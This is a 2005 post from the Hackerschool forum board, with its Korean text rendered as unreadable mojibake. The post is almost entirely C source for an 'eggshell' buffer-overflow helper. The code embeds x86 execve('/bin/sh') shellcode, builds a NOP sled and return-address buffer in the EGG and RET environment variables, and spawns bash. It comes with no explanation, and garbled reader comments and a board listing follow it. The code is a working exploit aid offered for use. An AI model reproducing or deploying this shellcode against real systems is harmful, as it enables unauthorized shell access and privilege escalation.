1581, 79/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ÀºÁ¶
   ¿¡±×½© ¾µÁÙ ¸ð¸£½Ã´ÂºÐ..-_-Çʵ¶

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=310 [º¹»ç]


#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
   "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
   "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
   "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}

  Hit : 10848     Date : 2005/09/28 06:57



    
ÀºÁ¶ Á¨Àå-_- º¸´Â»ç¶÷ÀÌ ¾øÀÝ¾Æ 2005/09/29  
nsh009 ÀÚÇÊ·Î ¾²½Å°Ç°¡¿ä? 2005/10/01  
sorpyo ¿Í¾Æ.. 2005/10/02  
blackcoder ÄÄÆÄÀÏÇؼ­ ½ÇÇà~ 2005/10/05  
Zero123 "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" ÀÌ°Ô ¹¹ÁÒ? 2005/10/05  
kamijyo ÄÄÆÄÀÏ ¿À·ù ³ª´Âµ­;; 2005/10/08  
saiby32 ÀÌ°Ô ¹¹Á®?? ¾µÁÙ ¸ð¸£´Â »ç¶÷ º¸¶ó°í Çߴµ¥ ºÁµµ ¹ºÁö ¸ð¸£°Ú¾¸!! 2005/10/12  
ivy7622 ÀÌ°Ç ÄÚµåÀݾÆ. ±×³É µû¶ó Ç϶ó´Â°Ç°¡? Àû¾îµµ ¿¡±×°¡ ¹¹¶ó´ø°¡ ÇÏ´Â Á¤µµ´Â ½áÁÙ¼ö´Â ¾ø³ª. ÁÖ¼® ÇÑÁÙ ¾ø´Â ÀÌ·± ¼Ò½º°¡ Á¤¸» ¾µÁÙ ¸ð¸£´Â »ç¶÷ÇÑÅ× µµ¿òÀÌ µÉ¼º ½ÍÁö´Â ¾Ê´Ù. 2006/01/14  
blackdong ÇÁ·Î±×·¥Â¥º»»ç¶÷ ¸Â´ÂÁö¿ä ÁÖ¼®ÀÌ ÇʼöÀÏÅÙµ¥...¼³¸íÁ» ÇØÁÖ½É ¾ÈµÉ·Á³ª.. 2006/01/24  
21   ¿ìºÐÅõ¿¡¼­ ¹«¼±·£ Àâ±â[3]     lee73mu
02/01 8458
20   ¿Í¿ìÇØÄ¿ level1[3]     ÇÁ¶óÀ̵å
08/20 9206
19   ¿Í¿ìÇØÄ¿level2 ¹®Á¦Ç®ÀÌ[3]     ÇÁ¶óÀ̵å
08/20 9203
18   ¿ÕÃʺ¸ ÆÄÀ̽ã (Python) ¾ð¾î ¹è¿ì±â - Site Ãßõ[5]     Ǫ¸¥ÇÏ´Ã
12/14 10852
17   ¿ÕÃʺ¸ÀÚ µéÀ» À§ÇÑ C ¾ð¾î °­ÁÂ[7]     kevin0960
01/25 8625
16   ¿äÁò °øºÎÇÏ°í ÀÖ´Â JAVA¿¡ ´ëÇÑ Áú¹®°ú ´äº¯[3]     Àå¼¼¸¸
07/14 7852
15   ¿Ö C À̾î¾ß Çϴ°¡ ?[96]     ¼ÒÀ¯
04/09 24893
14   ¿Ö ÇØÄ¿°¡ µÇ·Á´Â°¡[6]     dontknow
07/22 10212
13   ¿Ö °íµîÇб³[5]     ÆĶõ´«¹°
02/05 7387
12   ¿ö°ÔÀÓ ¹®Á¦ ÈùÆ®Á» ÁֽǺР±¸ÇÔ     rabbitlycat
04/30 5925
11   ¿ö°ÔÀÓ »çÀÌÆ®ÀÔ´Ï´Ù. [4]     wkdqkf2
03/18 8123
10   ¿ö°ÔÀÓÀ» Çغ¾½Ã´Ù.hackthissite(basic 1)[2]     kjwon15
09/10 9226
  ¿¡±×½© ¾µÁÙ ¸ð¸£½Ã´ÂºÐ..-_-Çʵ¶[9]     ÀºÁ¶
09/28 10847
8   ¿©·¯ºÐ[1]     phan_tom1
11/18 7488
7   ¿©·¯ºÐ! net send Á¤¸®ÇØ µå¸³´Ï´Ù.[11]     idl0521
12/13 10141
6   ¿©·¯¼±¹è´Ôµé Á»µµ¿ÍÁֽʽÿÀ..[2]     appleone
06/29 7471
5   ¿¬°á¸®½ºÆ®     han0161
06/21 7785
4   ¿­(TR)°ú Çà(TD)ÀÇ È®Àå(Æß)     rahzzang
11/21 6692
3   ¿øÀç¾Æºü´ÔÀÇ gcc 2.96¿¡¼­ÀÇ ¹öÆÛ ±¸Á¶ °­ÁÂ.[9]     ttongfly
09/19 13121
2   ¿ø°ÝÁ¾·á....[39]     bsjzzz
01/02 11904
[1]..[71][72][73][74][75][76][77][78] 79 [80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org